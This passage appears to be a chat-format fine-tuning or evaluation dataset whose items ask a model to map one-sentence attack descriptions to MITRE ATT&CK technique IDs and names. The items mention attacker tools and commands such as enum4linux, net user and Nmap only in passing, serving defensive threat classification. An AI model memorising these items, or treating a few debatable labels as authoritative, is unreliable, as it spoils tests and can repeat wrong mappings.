        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromising procedure includes scanning for shared printer and folder resources using the enum4linux tool."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group disables Windows Event Logging to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder injects a malicious registry key via Group Policy Preferences to achieve persistent code execution across the domain."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits ARP cache poisoning to intercept and modify SSL/TLS handshake messages."
            },
            {
                "role": "assistant",
                "content": "T1557.002 - Adversary-in-the-Middle: ARP Cache Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware encrypts data and then slices the ciphertext into 2 KB blocks before exfiltration to stay under detection thresholds."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor disables modern cryptographic algorithms on a Linux server, forcing use of deprecated ciphers."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses UDP hole punching with a STUN server to establish a direct peer-to-peer channel through a NAT device, allowing data exfiltration without direct inbound connections."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker adds a shortcut to the All Users Startup directory that points to a remote payload, persisting across all accounts."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor exploits default credentials on a newly deployed server to establish a foothold."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries retrieve saved login information from Opera's encrypted password store via a local exploit."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script crawls public code repositories to harvest SSH private keys leaked in commit histories."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion framework gathers process information via WMI queries to discover potential targets."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries aggregate harvested data into a tar archive placed in a local staging directory before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the Windows API to retrieve a snapshot of current processes for reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers infiltrate a business associate's network and exploit the existing cross‑domain trust to move laterally into the primary target's domain."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the Windows code signing policy to allow execution of unsigned binaries, bypassing driver signature enforcement."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a stolen SSH key, the malicious actor edited the nginx configuration on an internal server, resulting in a defaced error page."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers gained administrative access to a public web server and replaced the homepage with a political message, clearly defacing the site from an external source."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit a bug to cause a buffer overflow that crashes the target application repeatedly."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the malware spawns a COM object in a privileged process and uses it to manipulate lower‑privilege applications."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware queries the Google Cloud Platform metadata endpoint to list compute instances."
            },
            {
                "role": "assistant",
                "content": "T1526 - Cloud Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits the Odbcconf utility to bypass application whitelisting by executing a signed system binary."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performed a domain hijacking attack by stealing the DNS credentials from the registrar and pointed the domain to malicious servers."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary performs a search on DuckDuckGo for the company's domain name to locate open webpages and subdomains."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Encrypted malicious traffic is forged to look like legitimate VPN traffic, evading network monitoring."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary extracts stored passwords from the victim's Chrome password manager using a malicious browser extension."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fileless code streams stolen data directly to a remote FTP server without writing to disk."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining user access, the malware parses the bash history to extract API keys typed in previous sessions."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor runs the 'driverquery /v /fo csv' command to gather detailed driver information for later exploitation."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerates local Windows groups using the \"net localgroup\" command to identify privileged accounts."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A rootkit uses direct kernel object manipulation (DKOM) to hide its processes from the task manager."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary gains access to private keys that are saved in clear text within application directories."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor leverages PowerShell to extract credentials stored in the Registry under HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\DefaultUserName."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor modifies the 'unsigned code execution' policy in macOS Gatekeeper to allow execution of unsigned apps."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious executable calls the EnumSoftwareProducts API to retrieve software details from the target's operating system."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script calls NetLocalGroupEnum to retrieve a list of local groups for further privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary accesses DNS replication logs on public servers to retrieve past domain-to-IP mappings, facilitating reconnaissance of the victim’s network."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor used a signed firmware package to replace the BIOS image on target machines, modifying the system image to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script scans /proc for processes owned by root and reads their memory via /proc/[pid]/mem to retrieve cached credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a compromised FTP account to replace the website's CSS and JavaScript files, causing the site to render a defaced layout for all users."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware directly calls Windows kernel32.dll functions to load and execute a payload without using higher‑level scripting languages."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script disables the macOS Unified Logging for command line tools, ensuring that command history is not captured."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware calls the GetSystemTime API to retrieve the host's time settings."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool replaces the default callback functions in the KernelCallbackTable to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised firmware updates are used to embed malicious modules that execute in the pre-OS environment."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team activity includes editing policy files to bypass code signing checks for executables and libraries."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors create a rule in the compromised user's Outlook to automatically forward all incoming emails to an external address they control."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware creates a hidden archive and pushes it to a remote Dropbox folder, awaiting later collection."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a legitimate remote desktop protocol session to tunnel stolen files out of the network."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware encrypts exfiltrated data and sends it in several DNS queries, each limited to 512 bytes."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider threat forwards a phishing email, originally received from an external source, to colleagues, adding a malicious payload to increase infection rates."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a custom script to query the Windows Management Instrumentation (WMI) for software details."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware drops a shortcut in the Start Menu’s Programs folder that references a hidden script, achieving persistence via shortcut modification."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team simulates exfiltration by packaging data in an encrypted payload and sending it over a VPN‑like protocol that is not designated for C2."
            },
            {
                "role": "assistant",
                "content": "T1048.001 - Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor periodically runs a cryptographic hash function on the current date to produce domain strings, contacting each until one resolves to the malicious server."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker scans the target's public IP range using Nmap to discover open ports and services."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used a custom binary that sends random data streams to the block device, wiping its contents."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary manipulates the Netlogon service to execute a custom script that establishes a reverse shell on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1037.003 - Boot or Logon Initialization Scripts: Network Logon Script"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary contacts a foreign vendor to buy proprietary schematics of a target's proprietary hardware for a fee."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set employs the 'logadm' tool to purge old logs and hide tracks on a Solaris system."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor configures its malware to encrypt all communications with a static symmetric key, establishing a covert encrypted channel for data transfer."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor encodes its traffic to look like standard DNS over HTTPS (DoH) requests, blending with legitimate DNS traffic."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors deploy a containerized malicious service via Kubernetes on victim machines."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a copy of rundll32.exe and uses it to execute a malicious function exported by a DLL named payload.dll."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware changes the system's power configuration to set the \"High performance\" plan and disables sleep timers, ensuring the compromised host remains active for continuous command‑and‑control activity."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder exploits a vulnerability in a network appliance to overwrite the TACACS+ server settings, redirecting authentication requests to a rogue server."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary used a valid user credential to access Confluence and copy all attachments from the finance space."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection registers a service with the name \"svchost\" to blend in with legitimate processes."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses the net user command to generate a hidden local account."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT modifies the JSON configuration files of a web service to disable security checks."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This threat uses a Domain Generation Algorithm to produce new DNS names for each infection."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a privileged script to change the boot configuration data, enabling Safe Mode boot and bypassing AV software."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware enumerates running processes for known sandbox analysis tools like 'procmon.exe' and aborts if any are found."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors probe the service registry keys to enumerate services and their configurations."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors abuse the Windows Service Control Manager to start a new service that runs their ransomware."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script repeatedly opens TCP connections to a target's port 80, never completing the handshake, to deplete network resources."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
